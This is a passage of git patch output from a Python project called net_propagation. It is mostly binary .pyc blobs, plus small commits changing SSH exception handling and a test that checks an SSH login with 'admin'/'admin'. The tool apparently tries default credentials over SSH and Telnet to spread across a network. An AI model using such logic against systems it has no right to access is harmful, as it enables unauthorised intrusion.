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 diff --git a/src/__pycache__/strings.cpython-310.pyc b/src/__pycache__/strings.cpython-310.pyc index 2d248b14dfb47d6bf6ea5fe1cbba76216abf57a1..4a0ff93c9c00b056e8d94a97bd55579cf08fad21 100644 GIT binary patch literal 12331 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 RQ@EzlH;uPT*_rA5{{r{#3@-ox delta 917 zcmZWnPfrs;6yKR{x7*TED99htFjz4*um!6|(+IKFMMz59v`sKg$hvkGvypb2*{MQ< z!9@K4Iv2kJdiQ9e-@t^^p1pYUXiN~_)}k@YW`6I@dvAX4&+PjLuZ9PmSS%vJ`tb3a zSyEpQp3BU`iAr^eqB^3uj%lDCpfU}VT8W4x*YqT5DcWiFA z9;MT1K|^;(&C6Jl$|f_L7Ppw2jf6EWCX;ut))t$|OQTwcXv-u=IAFuHMqRKJ#FykI*2-e>qPyR+xM6Z`HXf(jyF}xpxog;MW7~Fln(uI;wMiy3pSe1p zxjuh$kw5~IHtiPCw*1Hw+Q0FUNI1Q4it`kq&%+#tlR4lyA#weLji5id{!%~&VCP}G zx5ek-D`Q;RlV6~5i3Z1|XTiN7%u4A#7mGtvVj{tVKT)=OO^8Htw0ZTlTi)KQ;@4p=bRA190>vw-)+tqs^R#<+{*@VKL^gS@6420F2-}#z;PvF^fap zi|EIjvxohjMSOY!rA2Zoz3*paF&}zb4|-XK`Y&v>9Bwenq;o#E44|qqVnd)5Qz0*8 z7}RMPh8NQBuhpP0?@U>*tduJ2pc{o!K36cR`CQRc%Y~}3su#-4uaCuj7?N)Mm-t_H c^;XlNoo#CwL7Y1XAY(ZsBN?kvH5yfZ1N{i|f&c&j From bb9b08b5d382510e642aac66f1aad20121879864 Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Thu, 17 Mar 2022 14:08:34 +0000 Subject: [PATCH 58/78] [UPDATE] .gitignore --- .gitignore | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/.gitignore b/.gitignore index ed54ea2..754e84b 100644 --- a/.gitignore +++ b/.gitignore @@ -1,3 +1,4 @@ -.idea/workspace.xml -.idea/git_toolbox_prj.xml -src/__pycache__ +.idea/ +**/__pycache__ +.coverage +htmlcov/ \ No newline at end of file From 587de5ee6d09c32844adaf3dda04c5ac1ae7b503 Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Fri, 18 Mar 2022 11:57:47 +0000 Subject: [PATCH 59/78] [FIX] Test SSH connection --- src/net_propagation.py | 4 ++-- src/test_net_propagation.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/src/net_propagation.py b/src/net_propagation.py index 514bad8..7833947 100755 --- a/src/net_propagation.py +++ b/src/net_propagation.py @@ -4,7 +4,7 @@ # For use when adding new functionality with scapy, be sure to statically # import when finished, wildcard is just for convenience. from paramiko import SSHClient, RejectPolicy -from paramiko.ssh_exception import NoValidConnectionsError +from paramiko.ssh_exception import NoValidConnectionsError, SSHException from scapy.all import get_if_addr from scapy.interfaces import get_if_list from scapy.layers.inet import IP, TCP @@ -240,7 +240,7 @@ def connect_ssh_client(ip, port, username, password): strings.SUCCESSFUL)) return True - except RuntimeError: + except SSHException: client.close() logging.debug(strings.connection_status(strings.SSH, ip, port, strings.UNSUCCESSFUL)) diff --git a/src/test_net_propagation.py b/src/test_net_propagation.py index 58c4085..7aefcd0 100644 --- a/src/test_net_propagation.py +++ b/src/test_net_propagation.py @@ -79,7 +79,7 @@ def test_check_over_ssh(): """ assert net_propagation.check_over_ssh(strings.BLANK_IP, strings.SSH_PORT, strings.ADMIN, strings.ADMIN) is \ - True + False def test_exit_and_show_instructions(capfd): From 5e6803870ca4729579af6e6635d0bfca2bcd0257 Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Fri, 18 Mar 2022 12:04:16 +0000 Subject: [PATCH 60/78] [FIX] Adding the SSHException handling where it's really needed --- src/net_propagation.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/src/net_propagation.py b/src/net_propagation.py index 7833947..8fec87b 100755 --- a/src/net_propagation.py +++ b/src/net_propagation.py @@ -132,6 +132,10 @@ def check_over_ssh(ip, port, username, password): client.close() return True + except SSHException: + client.close() + return True + def check_over_telnet(ip, port, username, password): """ From a9da54483f6bb53f2e996f93810ad38a5440cd03 Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Fri, 18 Mar 2022 12:07:02 +0000 Subject: [PATCH 61/78] [FIX] Should be true --- src/test_net_propagation.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/test_net_propagation.py b/src/test_net_propagation.py index 7aefcd0..58c4085 100644 --- a/src/test_net_propagation.py +++ b/src/test_net_propagation.py @@ -79,7 +79,7 @@ def test_check_over_ssh(): """ assert net_propagation.check_over_ssh(strings.BLANK_IP, strings.SSH_PORT, strings.ADMIN, strings.ADMIN) is \ - False + True def test_exit_and_show_instructions(capfd): From 2784f803bc02d711acaa5b2dcfd495eab36c1dba Mon Sep 17 00:00:00 2001 From: Andrew <19553807+andrewk10@users.noreply.github.com> Date: Fri, 18 Mar 2022 12:49:27 +0000 Subject: [PATCH 62/78] Delete src/__pycache__ directory --- ...net_propagation.cpython-310-pytest-6.2.5.pyc | Bin 21139 -> 0 bytes src/__pycache__/net_propagation.cpython-310.pyc | Bin 27543 -> 0 bytes src/__pycache__/strings.cpython-310.pyc | Bin 12331 -> 0 bytes ...net_propagation.cpython-310-pytest-6.2.5.pyc | Bin 2432 -> 0 bytes 4 files changed, 0 insertions(+), 0 deletions(-) delete mode 100644 src/__pycache__/net_propagation.cpython-310-pytest-6.2.5.pyc delete mode 100644 src/__pycache__/net_propagation.cpython-310.pyc delete mode 100644 src/__pycache__/strings.cpython-310.pyc delete mode 100644 src/__pycache__/test_net_propagation.cpython-310-pytest-6.2.5.pyc diff --git a/src/__pycache__/net_propagation.cpython-310-pytest-6.2.5.pyc b/src/__pycache__/net_propagation.cpython-310-pytest-6.2.5.pyc deleted file mode 100644 index 81c39f38c834990d90b59d09b98018c6da1b2b2b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 21139 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 